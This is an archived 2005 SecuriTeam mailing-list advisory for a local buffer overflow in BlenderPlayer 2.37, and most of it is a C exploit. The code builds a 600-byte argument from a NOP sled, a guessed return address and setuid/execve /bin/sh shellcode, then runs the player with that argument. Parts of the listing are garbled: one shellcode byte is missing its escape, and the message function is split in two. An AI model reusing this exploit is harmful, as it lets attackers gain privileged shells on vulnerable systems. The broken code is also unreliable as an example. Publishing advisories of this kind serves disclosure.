

[EXPL] BlenderPlayer Local Buffer Overflow (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-09/0126.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 09/29/05

To: list@securiteam.com

Date: 29 Sep 2005 16:09:59 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

BlenderPlayer Local Buffer Overflow (Exploit)

SUMMARY

<<http://www.blender3d.org/>> Blender is "an open source software for 3D modeling, animation, rendering, post-production, interactive creation and playback. Available for all major operating systems under the GNU Public License".

Multiple buffer overflow occurs in BlenderPlayer when specially crafted filenames are passed as an argument.

DETAILS

Vulnerable Systems:

* BlenderPlayer version 2.37

Exploit:

/*

BlenderPlayer: www.blender.org

BlenderPlayer 2.37 local bufferoverflow exploit

Found & coded by Qnix .

Qnix@bsdmail.org

Securiteam: [EXPL] BlenderPlayer Local Buffer Overflow (Exploit)

```
*/

#include <stdlib.h>
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";

unsigned long sp(void)
{ __asm__("movl %esp, %eax");}

void main(int argc, char *argv[])
{
    int i, offset;
    long esp, ret, *addr_ptr;
    char *buffer, *ptr;

    offset = 0;
    esp = sp();
    ret = esp - offset;

    if(argc < 2)
    {
        msg();
        printf("Usage : ./blenderplayer-exp <BlenderPlayer file> \n\n");
        return 0;
    } else {
        msg();
        printf("[~] RETADDR 0x%x\n", ret);
    }
    buffer = malloc(600);
    ptr = buffer;
    addr_ptr = (long *) ptr;
    for(i=0; i < 600; i+=4)
    { *(addr_ptr++) = ret; }
    for(i=0; i < 200; i++)
    { buffer[i] = '\x90'; }
    ptr = buffer + 200;
    for(i=0; i < strlen(shellcode); i++)
    { *(ptr++) = shellcode[i]; }
    buffer[600-1] = 0;
    execl(argv[1], "blenderplayer", buffer, 0);
    return 0;
}

void msg()
{
    printf("\n ***** \n");
    printf(" BlenderPlayer 2.37 \n");
    printf(" by \n");
}
```

Securiteam: [EXPL] BlenderPlayer Local Buffer Overflow (Exploit)

```
printf(" Qnix | Qnix[at]bsdmail[dot]org ");  
printf("\n ***** \n\n");  
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:Qnix@bsdmail.org> Qnix.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.